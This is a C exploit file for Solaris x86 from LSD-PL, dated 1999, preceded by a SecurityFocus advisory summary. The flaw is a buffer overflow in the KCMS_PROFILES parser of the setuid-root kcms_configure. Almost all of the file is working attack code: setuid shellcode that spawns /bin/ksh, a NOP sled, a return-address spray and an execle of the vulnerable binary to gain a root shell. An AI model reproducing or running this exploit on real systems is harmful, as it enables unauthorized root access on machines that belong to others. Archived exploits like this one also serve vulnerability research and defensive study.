89 lines
No EOL
3.6 KiB
C
89 lines
No EOL
3.6 KiB
C
/*
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source: https://www.securityfocus.com/bid/2605/info
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The Kodak Color Management System configuration tool 'kcms_configure' is vulnerable to a buffer overflow that could yield root privileges to an attacker.
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The bug exists in the KCMS_PROFILES environment variable parser in a shared library 'kcsSUNWIOsolf.so' used by kcms_configure. If an overly long KCMS_PROFILES variable is set and kcms_configure is subsequently run, kcms_configure will overflow. Because the kcms_configure binary is setuid root, the overflow allows an attacker to execute arbitrary code as root.
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Exploits are available against Solaris x86 and Solaris Sparc.
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*/
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/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/
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/*## kcsSUNWIOsolf.so #*/
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#define NOPNUM 16000
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#define ADRNUM 2900
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char setuidshellcode[]=
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"\x33\xc0" /* xorl %eax,%eax */
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"\xeb\x08" /* jmp <setuidshellcode+12> */
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"\x5f" /* popl %edi */
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"\x47" /* incl %edi */
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"\xab" /* stosl %eax,%es:(%edi) */
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"\x88\x47\x01" /* movb %al,0x1(%edi) */
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"\xeb\x0d" /* jmp <setuidshellcode+25> */
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"\xe8\xf3\xff\xff\xff" /* call <setuidshellcode+4> */
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"\x9a\xff\xff\xff\xff"
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"\x07\xff"
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"\xc3" /* ret */
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"\x33\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\xb0\x17" /* movb $0x17,%al */
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"\xe8\xee\xff\xff\xff" /* call <setuidshellcode+17> */
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"\xeb\x16" /* jmp <setuidshellcode+59> */
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"\x33\xd2" /* xorl %edx,%edx */
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"\x58" /* popl %eax */
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"\x8d\x78\x14" /* leal 0x14(%eax),edi */
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"\x52" /* pushl %edx */
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"\x57" /* pushl %edi */
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"\x50" /* pushl %eax */
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"\xab" /* stosl %eax,%es:(%edi) */
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"\x92" /* xchgl %eax,%edx */
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"\xab" /* stosl %eax,%es:(%edi) */
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"\x88\x42\x08" /* movb %al,0x7(%edx) */
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"\xb0\x3b" /* movb $0x3b,%al */
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"\xe8\xd6\xff\xff\xff" /* call <setuidshellcode+17> */
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"\xe8\xe5\xff\xff\xff" /* call <setuidshellcode+37> */
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"/bin/ksh"
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;
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char jump[]=
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"\x8b\xc4" /* movl %esp,%eax */
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"\xc3" /* ret */
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;
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main(int argc,char **argv){
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char buffer[20000],*b,adr[4],*envp[4],display[128];
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int i;
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printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");
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printf("kcsSUNWIOsolf.so for solaris 2.7 2.8 (2.6 ?) x86\n\n");
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if(argc!=2){
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printf("usage: %s xserver:display\n",argv[0]);
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exit(-1);
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}
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*((unsigned int*)adr)=((*(unsigned int(*)())jump)())+2300+8000;
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sprintf(display,"DISPLAY=%s",argv[1]);
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envp[0]=&buffer[0];
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envp[1]=&buffer[17000];
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envp[2]=display;
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envp[3]=0;
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b=buffer;
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sprintf(b,"xxx=");
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b+=4;
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for(i=0;i<NOPNUM;i++) *b++=0x90;
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for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
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*b=0;
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b=&buffer[17000];
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sprintf(b,"KCMS_PROFILES=");
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b+=14;
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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*b=0;
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execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp);
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} |